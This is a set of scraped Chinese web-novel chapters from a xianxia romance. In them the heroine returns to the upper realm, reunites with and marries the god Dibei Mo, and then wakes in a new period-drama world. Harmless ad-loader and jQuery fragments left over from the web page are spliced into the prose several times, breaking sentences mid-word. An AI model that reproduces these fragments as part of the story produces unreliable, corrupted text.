白小人幺幺悄咪咪的转动脑袋,偷偷的瞅了眼不远处专注看书的人。 就在她要收回视线时,大佬突然抬头看过来。 “过来。” 听到大佬的召唤,白小人幺幺忙从窗台上跳下来,屁颠屁颠的小跑过去。 “大哥哥唤幺幺过来有事吗?” 上官墨深深的看了人一眼,语气听不出起伏。 “打算什么时候离开?” 白小人幺幺:“……” 现在摇头来得及吗? 可是头摇了,人最终还是要离开,再次见面,大佬会不会超级生气呀! 白小人幺幺龇着牙半开玩笑道:“今晚月色很美,适合奔月。” “好。” 白小人幺幺睁大眼睛,眼里除了不可置信,还有其他道不明的情绪。 上官墨伸手轻触了下小人儿长而卷的羽睫,勾唇笑了笑。 “现在就离开,还是?” 白小人幺幺因为大佬指腹的触碰,羽睫眨动了下。 上官墨深深看了人一眼,蹲下身将人揽进怀里。 “好了,我懂你意思了。” 白小人幺幺:“……” 脑门飘过一排大大的问号,懂她啥意思了? …… 第213章 我那迷人的小祖宗or老祖宗(番外1) “幺幺,你到底怎么了?” “自从下界回来,你不再像拼命三郎整天除了修炼就是修炼,这挺好的,可你怎么总是魂不守舍的。” “是下界的事情还没处理好吗?” “我也不想用掉仅有一次传信机会,急急把你喊回来的,可这不是实在没办法。” “我哥他不是在司命神君那当差,偶然听到神君算出帝北神君历情劫不日将归,到时咱们都要去恭迎帝北神君归来,你私自下界的事情将瞒不住了……” “幺幺,你有在听我说话吗?” “幺幺?” “啊!小瑶瑶你在和我说话吗?” 白幺幺从回忆中抽离出来,脸带歉意的看向眼前的娃娃脸可爱少女。 瑶瑶嘟了嘟嘴,将担忧全写在脸上。 “是呀,我在和你说话,幺幺,你都回来三天了,每天除了发呆就是发呆,你这样让我真的很担心。” 白幺幺伸手在少女略显婴儿肥的脸上捏了捏,动作轻柔。 “谢谢小瑶瑶的关心,我没事,这不是才从下界回来,我一时还没能调整回来。” “是这样吗?”瑶瑶歪了歪脑袋,“幺幺,咱们可是最好的姐妹,你要是遇到什么解决不了的事,一定要和我说,就算帮不了你,不是还有我哥。” “对了,你下界的事情真处理好了吗?” 瑶瑶问完,就又道:“要是没有,没事的,大不了等帝北神君归来后,你再偷偷下去一趟。” “不用,事情都处理好了。” 眼前的小姑娘叫瑶瑶,和她的幺幺音相似,字不同。 原主救过小姑娘,两人因此结识,之后更是成为超级超级好的朋友。 哦,对了,这个叫瑶瑶的小姑娘,是只很可爱白兔子修炼成精的。 “那个小瑶瑶,我想静静……” “静静是谁?你在下界新认识的朋友吗?” 白幺幺:“……” 她很有耐心的给小姑娘解释,此静静非彼静静。 小姑娘听明白后,脸刷的红了。 “幺幺,那你静静,我先离开了,晚上再过来找你。” 小姑娘快走出洞府时,想到什么转过头来。 “对了幺幺,你以前不是最喜欢洞府云雾缭绕的模样,为什么从下界回来后,你就把洞府整改成这样子,是受下界审美影响吗?” 白幺幺:“……” 原主心气有些高,只是修行讲究财侣法地,她一个没家族,没师门,没背景,资质尚可而已的散修,能达成的成就有限。 原主在上界混了那么多年,也只得这么小小一处安身的洞府。 相较于那些坐拥偌大宫殿,一整座山峰的,实在是寒碜极了。 这就跟在下界,住着老破小的羡慕住大平层,大别墅,乃至大庄园的。 当然,原主羡慕的不是住这些地方,而是羡慕那些人有住这些地方的能力。 把小小洞府内整的云雾缭绕,是原主对自己的最后倔强,也是对自己的另类鞭策。 然而吧,白幺幺纯粹欣赏不来。 她胡乱了点了下头,“是呀,大道至简,最高级的审美,就是极简,这是我在下界学到的。” “大道至简?” 瑶瑶小姑娘似懂非懂的点了点头,“幺幺,这回我真的离开了,你要好好静静哦。” “嗯。” 目送人离开后,白幺幺重新陷入回忆中。 那晚。 被大佬拥进怀中,听大佬说懂她意思了,她脑中全是问号。 大佬就这样抱着她,抱了很久很久。 温香暖玉在怀…… 啊,不对,她才是那在怀的温香暖玉。 也不知道是不是大佬的怀抱太温暖,还是他抱的太紧了,让她有点缺氧,脑袋晕乎乎。 大佬什么时候将她放开,她都没反应过来。 直到大佬微微低头,在她额头上落下一吻,她才从恍惚有那么一瞬间的回神,之后脑袋更晕乎乎的了。 亲她? 大佬亲她额头了? 对哦,为什么不是亲嘴,只是亲额头? 白幺幺刚想出声问,就听大佬说:“不是要回去,就现在吧,我目送你离开。” 对,要回去。 白幺幺取下挂在脖子上的白玉瓶,咧着嘴朝人笑了笑。 “大哥哥,我要回去了,真的哦。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯。” 上官墨定定的看着人,似乎是想将人的模样刻入脑中。 而他那淡淡的一声“嗯”像是给了某人鼓舞…… 白小人幺幺一把扑到大佬身上,踮起脚尖,飞快的在大佬唇上亲了一口。 “大哥哥,你刚刚亲错地方了,没关系,我帮你纠正过来了。” 白小人幺幺说完,挺了挺小胸脯,做出一副战士即将上战场的英勇无畏模样。 随后,她一把打开白玉瓶瓶塞…… …… “啊!” 白幺幺扶额尖叫,幸亏洞府设了禁制,声音传不到外面去。 她当时脑袋怎么就不清醒了,轻飘飘晕乎乎的,跟喝了假酒似的。 要离 开就离开嘛,好好跟大佬道个别就是了。 被大佬亲额头就亲了呗,吃亏是谁还不一定了。 可是,她那时是哪来的勇气,竟扑上去轻薄了大佬,还是亲嘴。 最关键的是,她亲完了就跑……跑了! 离开前,大佬那错愕呆滞的表情深深映入她的脑中。 “要死了,要死了,要死了。” 白幺幺烦躁的扒拉了下头发,同时暗暗在心里唾弃自己的渣女行为。 在下界时,各种憧憬回到上界后,要这瞅瞅,那瞧瞧,四处去长长见识。 只是真回来后,白幺幺已经连续好几天被困在回忆中。 脑中各种预想,她和大佬在上界第一次正式见面的场景。 以及大佬回来后会第一时间来找她,还是要她主动去找他。 “唉,大佬到底什么时候回来呀!” 白幺幺同志不是个急性子的,却也希望大佬赶紧回来。 当然,她绝对不会承认是自己有点想人家了。 晚上瑶瑶小姑娘又过来了,还给白幺幺带了个好宝贝。 “幺幺,这是我哥哥下午给我的紫灵果,有两个,你一个我一个。” 根据原主的记忆,白幺幺知道小姑娘给她的是一种中品灵果,对于她们来说相当的珍贵。 白幺幺并没有客气,伸手接过那装着颗泛着紫色荧光,好看得不像话的果子的木盒子。 第214章 我那迷人的小祖宗or老祖宗(番外2) “谢谢,小瑶瑶。” 白幺幺道了谢,从木盒子中取出果子,用帕子擦了擦就直接啃起来。 就小婴儿拳头大小的果子,口的,就吃完了。 这是原主,也是白幺幺第一次吃这种灵果,别说味道真的一级棒。 一个吃完,馋虫被勾起,好想再吃第二个,第三个。 令人失望的是一个中品灵果,对目前的她来说,那绝对是奢侈品中的奢侈品。 要不是有瑶瑶小姑娘请她吃,她根本是吃不起,吃不起啊! 呜呜,这种时候,白幺幺又想起大佬了。 瑶瑶小姑娘见她接过紫灵果竟直接吃了起来,小嘴张成o型,一时说不出话来。 一番伤春悲秋后,白幺幺整理好情绪,抬眸就看到小姑娘张着嘴一副很震惊的模样。 她有些不解的摸了摸脸,问道:“小瑶瑶,你怎么这样看着我,是我脸上有东西吗?” 瑶瑶小姑娘这时回神了,她摇了摇头,一副欲言又止的模样。 白幺幺:“……” “小瑶瑶,你是不是有什么想说?我们可是好姐妹,你想说什么就说,别憋着。” 瑶瑶小姑娘咬了咬唇,最终还是担忧道:“幺幺,你真的没事吗?你也说了,我们是好姐妹,有什么事,你一定要和我说。” “虽然,我修为一般般,人也不是很聪明,但不是还有我哥哥嘛?” 白幺幺:“……” 不是,她瞧着就那么像有事的吗? 摇头,再摇头。 “可是。”瑶瑶小姑娘咬了咬唇,“你刚刚直接就……就这么把紫灵果吃了。” 白幺幺:“???” 她不就这么吃,难道要怎么吃? 很快她就得到解惑了。 “幺幺,你都没有先沐浴更衣焚香净手,你……” 啊! 白幺幺在心里呐喊。 大佬,大佬,你在哪,快到幺幺的碗里来。 好可怜的一原主,现在是还好可怜的一她。 吃个果子,都要这般。 还仅仅是啥中品灵果,那如果有幸吃上品灵果,极品灵果呢? 她是不是要茹素个十天半个月,或者干脆不吃不喝个十天半个月,再来个虔诚祷告啥的。 见白幺幺脸色不是很好,情绪又陷入低落中,瑶瑶小姑娘没继续说下去了。 “小瑶瑶,我又想静静了。” “行,你先静静,我明天早上再过来找你。” 瑶瑶小姑娘心中真的担忧极了,她暗暗决定,明早把他哥拉过来。 哼,他哥喜欢幺幺的心思,她早就看出来了。 也就他哥以为自己隐藏得很好,不过幺幺也同样没察觉出来就是了。 洞府里又只剩自己一个人后,白幺幺静坐了十几分钟。 “不行。” 她猛地摇头,不能这样下去。 谁知道大佬什么时候回来,十天半个月,还是一年半载。 她必须支棱起来。 那就从盘点原主的资产开始吧! 白幺幺将原主收藏的所有好宝贝全取了出来…… 看着眼前的那座还没她高的小山,白幺幺情不自禁的又感慨了一句。 “穷,是真的好穷啊!” 无聊也是真的无聊。 白幺幺开始一样一样的把玩研究过去,别说还挺打发时间的。 最后,白幺幺把能吃的规整出来。 没办法,谁让她是个地地道道的吃货。 白幺幺决定这几天,就把这些低品灵兽肉,灵植,以及灵果全安排吃掉。 特别是灵兽肉,她还没吃过,也不知道烹饪起来味道如何。 白幺幺是个想到就做,说干就干的。 瑶瑶小姑娘带着她哥哥过来时,在洞府外先传音问下她和哥哥能进去吗? 当然,关键问的是她哥哥。 白幺幺正在忙活早餐,听到小瑶瑶的传音。 她垂眸瞅了眼,确认份量够三人吃,才回复让他们快进来。 瑶瑶小姑娘和她哥哥一前一后走了进来,小姑娘走在前面一蹦一跳的。 好香啊! 兄妹俩进入洞府,就被那充盈满洞府的香味勾了心神。 只是当两人往香味来源看去时,皆是愣住了。 硕大瓦罐里沸腾翻滚的是什么? 被炭火烤得滋滋冒油的又是什么? 还有旁边那一大盘堆得冒尖还冒着热气的又是什么? 兄妹俩抽动了下鼻子,艰难地抑制住想吞咽口水的冲动。 两人转头对视, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开始用眼神交流起来。 瑶瑶小姑娘:呜呜,哥哥,你瞧见了吗? 幺幺在下界定是遇到什么事了? 不然不可能一下子把珍藏已久的东西全部拿出来霍霍了。 好吧,虽然怪香,怪让人馋得走不动道的。 瑶瑶她哥:等下我们静观其变,别刺激她,东西没了就没了,人最要紧。 瑶瑶小姑娘:嗯嗯,哥哥,我知道的。 第一次烹饪这些从未见过的食材,白幺幺用上了百分之两百的专注,根本没注意到兄妹俩 的眉眼官司。 当然,就算注意到了,她也不会当一回事的。 好东西当然是要吃进肚子里才最保险,不然最后便宜了谁还说不定了。 原剧情中,原主考虑到此次下界有可能回不来,甚至身死道消。 她就只带了一小部分家当到下界,大部分的家当都留在洞府里。 想着若真发生意外,这些东西就留给瑶瑶了。 瞅着手上的肉串已经烤的颜色漂亮,焦香里嫩。 而那锅大杂烩粥也可以吃了,白幺幺忙招呼兄妹俩过来。 “小瑶瑶,还有瑶瑶她哥,你们俩快过来坐,尝尝我的手艺。” 第一次碰这些“高端”食材,白幺幺还是需要点旁人评价的。 兄妹俩对视一眼,走过去坐下。 见人坐下后,白幺幺先给自己打了碗粥,又给兄妹俩每人也打了碗。 “来,你们俩尝尝我的手艺,千万别客气,桌上的菜,都尝尝看,喜欢吃啥就多吃点。” 白幺幺说完,顾自美滋滋的吃起来了。 兄妹俩再次对视一眼,朝彼此点了点头。 瑶瑶小姑娘:哥,咱们吃吧,不吃会不会显得我们和幺幺生分了。 呜呜,关键是太香了。 瑶瑶她哥:嗯,吃吧。 之后隔三差五让瑶瑶多送点东西过来就是了。 白幺幺吃得十分优雅,抽空抬眸瞅了眼,吃得有些狼吞虎咽的兄妹俩,心里无不得意。 毫无悬念的,全部光盘了。 瑶瑶兄妹俩放下筷子,有些不好意思的对视一眼。 就在瑶瑶想说什么时,瑶瑶他哥收到神君传信。 他震惊起身,“帝北神君历劫归来了!” 第215章 我那迷人的小祖宗or老祖宗(番外3) 啪嗒! 白幺幺不知什么时候从空间里摸出来,才咬上一口的饭后灵果从手上滑落,骨碌碌的从兄妹俩脚边滚过。 大……大佬这么快就回来了…… 她还以为就算没个一年半载,起码也要十天半个月吧! 从空间里取出一面镜子来,白幺幺开始仔仔细细的左看看右瞧瞧。 嗯,不错,依稀还能看出小时候的样子。 大佬只要眼睛不瘸,就肯定能一眼……不超过三眼就能认出她来。 白幺幺满意的收起镜子,抬眸才发现兄妹俩正用奇怪的眼神看着她。 白幺幺:“……” 这两人不会以为她听到大佬归来,急哄哄的拿出镜子的来照自己,是起了用美色勾引大佬的心思吧。 那这误会可就大了。 “小瑶瑶你们干嘛这么看着我?” 瑶瑶小姑娘是个直性子,白幺幺问了,她就说了。 “幺幺,你刚刚听了帝北神君归来的消息后,为什么拿出镜子照起来?” “你是不是动了想找道侣了心思了?” 瑶瑶小姑娘问完,不忘用眼角余光扫了眼自家哥哥。 果然,她瞧见自家哥哥手已经握成拳状。 白幺幺:“……” 呵呵,找啥道侣呀! 有点心虚,她摇头皱眉。 “没有呀,小瑶瑶你为什么这么问?” 瑶瑶小姑娘心里松了口气,含含糊糊的解释起来。 “就是帝北神君归来,上界将会热闹一段时间,我以前见过想在这种大场合寻觅一名称心如意道侣的女修们,她们就会开始在意自己的外表,时不时拿出镜子来照照。” 至于白幺幺以为的,会误会她是想去勾引帝北神君。 借瑶瑶小姑娘十万个胆子,她也不敢这么想呀! 帝北神君那是什么样的存在,说是上界第一人一点都不夸张。 传闻他无心无情,据说修的就是无情道。 这次下界历情劫,许多人私下猜测,神君最后是不是会杀妻证道渡情劫。 瑶瑶小姑娘真的很喜欢自己这个好朋友,未来好朋友若是能与她哥结成道侣,那简直更完美了。 白幺幺听了,想了想,自己刚刚的行为的确挺容易让人产生误解的。 不过她并没有解释,因为她又想静静了。 大佬没有回来时,她心里那个盼呀! 现在人回来了,她心里那个怂啊! “小瑶瑶,我又想静静了。” “好的,幺幺,你静静,那我和我哥先离开。” 瑶瑶小姑娘说完,拉着他哥就要离开。 想到什么,又回过头来说:“幺幺,晚上广云峰应该会举办宴会恭贺帝北神君历劫归来,傍晚的时候,我再来找你哦。” what! 白幺幺震惊脸,“小瑶瑶,你的意思是咱们晚上就能见到大……帝北神君了?!” 瑶瑶小姑娘:“……” 好友这次到下界到底经历了什么? 不仅总是想静静,还总是说些奇怪的话,做些奇怪的事。 真的让她很担心。 “幺幺,我们是见不到帝北神君的,神君怎么可能踏足我们这小小的广云峰。” 白幺幺一听见不到,心里松了口气的同时,又有些小小的失望。 原主一心扑在修炼上,对外界的很多事根本不关心。 而白幺幺回来的几天,就根本不在状态中,哪里有空去仔细翻看原主的记忆。 现下听小瑶瑶这么一说,才后知后觉自己刚刚闹了个怎样的笑话。 也幸好眼前的是小瑶瑶,以及她哥。 等人离开后,洞府里只剩白幺幺一人。 她下意识的又拿出镜子照起来,今天可能还见不到大佬,可后面总会见到的。 白幺幺抬手摸了摸头上梳的一丝不苟的发髻,小声嘟囔了句。 “话说,我要不要换个发型呀?” 原主怎么说,一个心全扑在修炼上,还余一部分分给下界的家族,对于外在打扮根本不在乎。 要怎么形容白幺幺现在的打扮呢? 嗯,差不多就是和下界学校里那女教导主任一个穿衣打扮风格。 或者,嗯,说和峨眉山那些女道姑一个穿衣打扮风格也挺贴切的。 白幺幺越想越觉得,不仅发型要换,衣服也要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 换。 白幺幺麻溜的行动起来。 而且想到在下界,那次的“粉色睡衣”事件,她决定将身上灰扑扑的衣服换成粉色的衣裙。 哼,不是说她年纪应该不小了,不适合粉嫩嫩可爱的装扮吗? 呵,男人,到时就让你看看到底适不适合。 …… 高耸入云的巍峨宫殿内,男人一袭白衣高坐主位。 此人不是别人,正是刚刚历劫归来的帝北神君。 闻讯赶来的其他几位神君们纷纷朝坐在主位上的男人说道贺的话。 知道帝北神君向来喜静,这历劫归来后,周身气息貌似还更加骇人了。 好些人说完道贺的词,并没有在殿内多做逗留,很快就提出告辞离开,还 算识趣。 到了最后,殿内就只剩三个来得最早,却留到现在迟迟没走的。 三人分别是司命神君,青阳神君以及陵光神君,三人和主座上的男人私交还不错。 司命神君最先沉不住气,看向主座上的男人,好奇发问。 “你真的是通过杀妻证道渡的情劫吗?” 青阳神君和陵光神君也同样好奇,纷纷看向男人,等待他的解惑。 主座上的帝北神君,也就是帝北墨,听了好友的问题。 他额头突突跳了两下,周身的气息更冷了。 帝北墨语气冷冷的反问“你说呢?” 几千年的好友了,司命神君还是比较敢说的。 “我觉得你就算没杀妻,肯定也把对方虐得死去活来,伤得体无完肤,最后将人弃之如敝履……” 帝北墨:“……” 虐得死去活来? 伤得体无完肤? 脑中浮现起他对小人儿的纵宠,可以说是含在嘴里怕化了,捧在手心怕摔了的种种画面。 至于将人弃之如敝履? 脑中划过他对着小人儿许下一直陪在他身边的心愿的画面,最后……却还是见不得小人儿为难,主动放人离开。 帝北墨不知道他回忆起那一帧一帧画面时的神情有多温柔似水,嘴角竟还挂上了浅浅笑意。 反正是把殿内的其他三人看得惊悚不已。 第216章 我那迷人的小祖宗or老祖宗(番外4) 司命神君:“……” 青阳神君:“……” 陵光神君:“……” 三位神君互相交换了下眼神,三双眼睛齐刷刷亮了起来。 司命神君:有情况! 青阳神君:有故事! 陵光神君:有八卦! 被三道灼热的视线盯着,帝北墨从回忆中抽离,轻蹙了下眉。 “你们一个个没事做吗?就算闲着,也别杵在我殿内。” 这是赤裸裸的在逐客了,帝北墨才不管三位好友的想法。 睨了眼还傻愣愣站原地的三人,帝北墨嫌弃的皱了下眉。 真没眼力见,耽误他去找小人儿的时间。 “算了,你们爱待着就自个儿继续待着,我还有事就不奉陪了。” 帝北墨说完就原地消失了。 被留在殿内的三位神君:“……” 不是,正主都不在了,他们还待在这里做什么? 三位神君你看我,我看你。 三人都很好奇好友历劫时到底发生了什么? 还有才刚历劫回来能有什么事?竟能让好友露出那样一副迫不及待的表情。 帝北墨:“……” 呵! 一群单身狗懂啥,去见媳妇儿能不迫不及待么。 没有用啥特殊手段进行推算,就如同在下界那般,跟着心出海,而后捡到了小人儿。 此刻他也是跟着心走,知道很快便能见到心心念念的人了。 帝北墨怎么也没想到类似“近乡情怯”的情绪,有一天会出现在他身上。 此刻,他伫立在虚空,脚下就是广云峰。 他知道自己要找的人就在下面,可是他心中生出胆怯来。 “大哥哥,一段时日不见,你不仅变的更帅了,还变得更有气质了。” 小人儿的声音依稀在耳边响起,同时脑中浮现起小人儿说这话时的表情。 帝北墨只是迟疑了那么一下下,手中就出现了一面镜子。 他在下界历劫时,作为上官墨的容貌与他现在的容貌有七分相似。 差的三分主要还是少了岁月的沉淀,以及气质神韵上稍逊一筹。 所以,他这算是变得更帅,更有气质了吧。 垂眸瞅了眼身上的衣服,白色的,会不会显得太清冷了。 要不换身颜色亮堂点的,见媳妇儿,是件高兴的事,合该穿喜庆点。 …… 不行,不行,还是换掉。 若真穿一身绯红过去,幺幺见了会不会觉得他很骚包,或者认为他很恨娶。 连续换了不下十套衣服,帝北墨最后决定穿一套粉蓝色衣袍的去见媳妇儿。 也得亏他敛去了周身气息,还设下了禁制。 不然若是旁人窥见,堂堂帝北神君竟然对镜照了许久,还不断换装,绝对会震惊得下巴掉地上。 收拾妥当,又对着镜子照了照,帝北墨觉得满意后,才一个闪身消失在原地。 眨眼的功夫,他的身影已经出现在一处洞府中。 给自己倒腾了一件粉色衣裙,白幺幺迫不及待的换上。 修仙世界就是好,不会针线女红没事的,小小一个法术就搞定了。 衣裙款式,白幺幺同志可是结合多个世界的审美设计的。 不是她王婆卖瓜自夸自卖,真的超级仙,超级好看。 换上衣服,因着等下要重新梳妆,青丝如瀑垂落,整个人就跟变了个人似的。 人靠衣装马靠鞍,古人诚不欺我。 白幺幺对着镜子摆出各种姿势来,末了她还提着裙摆转了个圈圈,即兴跳了支舞。 因着迫不及待想见到人,帝北墨一时都忘记自己应该礼貌的在洞府外,得到主人的应允才能进来。 等人已经出现在洞府内时,他才反应过来,只能先快速的敛去自己的气息。 只是他抬眸看去时,整个人都呆愣住了。 女人一袭粉裙,笑靥如花,身姿轻灵的原地转了个圈,而后翩翩起舞。 扑通扑通…… 帝北墨听到了自己那如擂鼓的心跳声,眼里除了那道粉色身影再也容不下其他。 一舞毕,白幺幺开心的坐到镜子前开始给自己梳妆打扮。 其实,这个也一个术法就能搞定,不过她比较享受这个过程。 当她拿起梳子准备梳下刚刚跳舞时弄得有点凌乱的如瀑长发时,一只骨节分明的手突然出现拿走了她手中的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 梳子。 “我来吧!” 透过桌上的镜子看清身后突然出现男人的样貌,白幺幺瞪大眼眸,呆愣住了。 大……大佬……什么时候来的? 不是,大佬这才回来多久,怎么就找来了? 帝北墨透过镜面,看着身前人那不可置信呆愣表情,心里莫名的涌起一丝欢愉。 他动作轻柔的替人梳起垂腰的青丝来,“想梳什么发型?” 如同在下界一般,问题脱口而出。 白幺幺眨巴眨巴眼睛,迟疑的说道:“大……大哥哥,还是我自己来吧,你应该不会。” 她现在要梳的可不是像下界那种简单的小揪揪,而是自己稍加改动 过飞仙髻。 帝北墨并没有把梳子还回去,而是说道:“那你现在教我吧,早晚总是要学会的。” 白幺幺:“……” 她的脸瞬间染上了一层薄红,轻咬着粉唇,简单的回了声“嗯。” 面上一副娇羞小娘子的模样,心里则是已经乐开花了。 大佬没生气,没生她亲完就跑的气! biubiubiu,心里放起烟花来,看见没,她在上界横着走的好日子正在向她招手。 白幺幺教得很认真,没办法,那可是她的头发。 要是大佬没学好,她才不想顶着丑丑的发髻出去见人了。 费了不小的功夫,大佬终于学会了。 白幺幺凑近镜子仔细瞧了瞧,还算满意。 至于十分满意,这不得给人进步空间。 等后面多实践几次,大佬动作娴熟了,肯定能达到十分满意的。 想到什么,白幺幺从椅子上站起来,和大佬拉开些距离站着。 白幺幺提着裙摆,原地转了个圈圈。 帝北墨:“……” 幺幺是要跳舞给他看吗? 他要不要告诉幺幺,自己刚刚提前来了有一会儿,已经看过她跳舞的模样。 很美,真的很美。 白幺幺见人看得有些迷了眼,故意拉长音问,“大哥哥,你看我穿这件衣裙怎么样,好不好看呀?” 帝北墨遵循本心的点了点头,“好看,很美,美得不可方物。” 第217章 我那迷人的小祖宗or老祖宗(番外5) 白幺幺十分满意男人的回答,却故意撅了撅嘴,用最温柔的声音给了男人一道送命题。 “那,大哥哥,你会不会觉得幺幺这个年纪还穿这一身娇俏的粉色,有点不合适呀?” 帝北墨:“……” 摇头,果断的摇头。 “合适,幺幺穿什么颜色的衣服都合适。” “是吗?”白幺幺同志开始翻旧账了,“可是大哥哥之前可不是这么说的。” 帝北墨知道不能再让人继续说下去了,否则等下他嘴笨,哪一句回答让人不满意,又哭了怎么办? 最后总归哄人的是他,心疼的还是他。 一个闪身出现在娇俏人儿面前,拦腰将人扣入怀中,从见到人的第一时间,他就想这么做了。 白幺幺没想到大佬也会这般耍无赖,仰头娇嗔的瞪人一眼。 刚想说什么,双唇就被封住了…… 白幺幺瞪大眼睛,眸中全是不可置信。 她……她被大佬亲了,还是亲嘴的哦! 今儿算是帝北墨第二次与异性亲嘴。 第一次是在下界,他毫无准备的情况下,就被小人儿亲了。 而这一次,是他主动的。 不过双唇附上那软得不像话的粉唇后,就不知道接下去要怎么做了。 他只是偶然听到手下武一和武十在聊天,讲起以后有了女朋友。 两人若是吵架了,害怕从对方口中说出什么不想听的话,最好的办法就是双唇附上去封住对方的嘴。 反正,一吻解决不了的事,那就两吻,三吻。 他真不想记住这些乱七八糟的东西,只怪记忆力太好,听了就忘不掉了。 两人的唇也不知道胶黏在一起多久,而两人的脸不知不觉的都发红发烫起来。 温热的气息交缠着的,打在彼此脸上。 白幺幺忽的觉得鼻翼下有些痒痒的,让她想打喷嚏,她开始伸手推搡起某人来。 帝北墨迟疑了下,还是将人放开。 他想,如果等下幺幺继续纠结那个那问题,那他再吻上去就是了。 白幺幺可不知道大佬心中所想,不然她一定会呵呵一句。 谁,到底是谁把她的大佬教坏了? 关键是要教坏也不教彻底点,亲吻只是唇贴唇怎么够,有本事把亲吻那档子事给大佬教明白了。 “大哥哥,你刚刚干嘛亲我?” 白幺幺抿了抿唇,娇羞不解的问。 大佬,你说你亲都亲了,就不能来个更深入的探讨。 反抗? 别担心,她一定会半推半就,最后顺从的享受的。 当然,反客为主,也不是不行。 帝北墨脸上红晕还未褪去,又添新红。 他并没有回答她的这个问题,而是反问道:“幺幺不喜欢我这么亲你吗?” 白幺幺:“……” 大佬,听听,你问的都是些什么虎狼问题。 撒谎是不可能撒谎的。 白幺幺咬着唇,娇羞的点了点头,“喜欢。” 听到她的回答,帝北墨眸光一亮。 “既然幺幺喜欢,那我们再亲一下好不好?” 白幺幺:“???” 在她怔愣时,男人的双唇已经附上来了。 只是双唇贴在一起,帝北墨就觉得心脏跳得前所未有的快。 随着时间一分一秒的过去,他不仅不想分开,还有种想要更多的冲动。 察觉到什么,白幺幺心里的小人早乐翻天了。 她就等着,等着大佬什么时候开窍,幸好没让她失望呀! 她像是双唇被对方的双唇磨蹭得有些发痒,无意识伸出舌头想舔一舔。 只是谁也没想到,没舔到自己的唇,倒是舔到对方的唇。 而她的这一不经意的动作,像是打开了男人的某个开关,之后就是一发不可收拾了。 反正两人谁也没想到,第一天见面,会以亲得难舍难分收场。 “不要了。” 白幺幺将人推开,娇嗔的瞪了人一眼。 “幺幺,再亲一次,最后一次。” 帝北墨握着女人的柔荑,轻轻摩挲,语气不自觉带上了点撒娇的味。 白幺幺:“……” 不行,男人惯不得的。 白幺幺坚决的摇头,“不行,大哥哥,你自己数数,你刚刚都亲幺幺几次了。” 瞧见娇人儿一副坚决的态度,帝北墨知道是没得商量的意思了。 他失望了的垂下眼睑,好看的眉眼耷拉下,像是讨不到骨头的可怜大狗狗。 白幺幺:“……” 就在她犹豫,要不要就让人再亲一次时,就听男人说。 “那,幺幺,你什么时候给我名分?” 白幺幺:见鬼的可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怜大狗狗! 来时,帝北墨还担心穿一身绯红,会让幺幺误以为他很恨娶。 此时此刻,他反倒后悔没直接穿那身绯红过来了。 反正,坐火箭的速度都没她两人快。 帝北神君才刚历劫归来,大家都还在消化这一消息,当日就又传出帝北神君不日即将大婚的消息。 整 个上界彻底沸腾了。 是谁,是谁不声不响的拿下帝北神君? 可以说,所有人对这个能拿下帝北神君的奇女子好奇极了。 白幺幺被亲懵了,稀里糊涂答应了给某人名分。 之后她就彻底当个甩手掌柜,一切让大佬去安排。 大婚前,帝北墨都将她保护的很好,没人知道她的身份。 当然除了瑶瑶小姑娘,做为她最好的朋友,自己都要结婚了,怎么可能瞒着小姑娘到大婚那天才让人知道。 当瑶瑶小姑娘听到她说不日将与爱人大婚时,那小嘴直接张得大大的,绝对够塞进一个鸡蛋。 等瑶瑶小姑娘听到她说未来道侣是帝北墨,也就是帝北神君时,直接被刺激得眼一闭,晕了。 白幺幺:“……” 瑶瑶小姑娘醒来后,整个人仍处在呆愣中。 这样的惊天大消息,她真的需要时间消化。 …… 弹指间就是千年岁月。 白幺幺早就将上界玩了个遍,也吃了个遍。 修仙世界,有好也有坏。 好的太多了,就不说了。 唯一一点坏的就是寿命太长了!!! 让她都快忘记自己是世界管理局的员工,她还有工作要做了。 敬业打工人白幺幺上线,在两人耳鬓厮磨时,她抱怨起现在的生活有些无趣。 而后提议,玩个游戏,就是两人一起去下界,重新投胎做人…… 帝北墨亲吻着她的额头,低低的“嗯”了声,算是答应了。 这就跟是一场说走就走的旅行般,白幺幺第二天就拉着男人去下界了。 她先男人一步跳下去,所以看不到落后她一步的男人望着她消失的方向,身上的气质陡然有了细微变化。 像是变了一个人,又好像没有。 良久,男人轻声呢喃了一句。 “幺幺,我该拿你怎么办呢?许一人生生世世就真的那么难吗?” …… 第218章 年代文里的童养媳(01) “小姑姑,我不饿的,真的,还是一整个都你吃吧!” 八岁的白慕雪咬了咬唇,情难自禁的吞咽的下口水。 明明水亮的眸子里写满想吃,却还是移开视线,不去看桌上的那个肉包子。 白幺幺进入这具身体,刚恢复意识就听到这么一句话。 还没接收剧情,她就先接收到这具身体在抗议,肚子那空城计已经快把她唱疯了。 好饿,好饿,真的好饿! 饿到感觉肚子里的肠子都绞到一起了,难受到需要用力捂着肚子,才能稍稍缓解疼痛。 想吃东西,想吃很多很多的东西。 馋人的香味钻进鼻腔中,白幺幺循着香味低头看去。 桌上那缺角的大海碗里躺着一个拳头大小的包子,白胖白胖的。 白幺幺双眼发光,像是沙漠里的旅人见到了绿洲,根本控制不住想吞咽口水的动作。 嗅了嗅鼻子,肉馅的,绝对是肉馅的无疑了。 此时,白幺幺眼中脑中全是那个拳头大小的白胖肉包子,根本没心思关注其他。 再次吞咽了一大口口水,白幺幺哪里还忍得住,伸手快速抓起大海碗里的肉包子,狼吞虎咽的吃起来。 那吃相,活像几百年没吃过肉包子似的。 白幺幺:“……” 这没出息的模样的,绝对不是她。 原主的锅,她不背。 已经准备伸手去接肉包子的白慕雪:“……” 毕竟才八岁小姑娘,即使再聪明早熟,这时候还是有点控制不住自己的脸部表情以及眼神。 吃……吃了…… 小姑姑竟然把肉包子给吃了,她怎么可以把肉包子给吃了! 小姑娘脸上除了错愕,不可置信,就是埋怨与愤怒。 白幺幺同志正在与小小肉包子做斗争了,根本没空去看屋里的另一个活人。 因此根本没留意到小姑娘的神情变化,当然就算留意到了,她也不会当一回事的。 应该是吃得太急了,又没喝水。 